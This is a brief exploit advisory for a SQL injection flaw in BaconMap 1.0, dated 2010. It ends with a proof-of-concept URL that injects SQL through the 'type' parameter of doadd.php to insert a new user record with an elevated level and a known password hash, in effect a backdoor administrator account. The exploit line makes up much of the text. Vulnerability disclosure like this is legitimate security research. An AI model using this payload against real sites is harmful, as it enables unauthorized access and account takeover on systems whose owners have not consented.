BaconMap 1.0 SQL Injection

Software:- BaconMap 1.0

Vulnerability:- SQL Injection

Tested On:- Windows Vista + XAMPP

Date:- 10/10/2010

Description:-
An SQL injection vulnerability in BaconMap 1.0 can be exploited to insert data into any table.


Proof of Concept:-

Code:


http://localhost/baconmap/doadd.php?type=user%20(email,level,password)%20values%20('test@test.com',256,md5('Password1'));%23&name=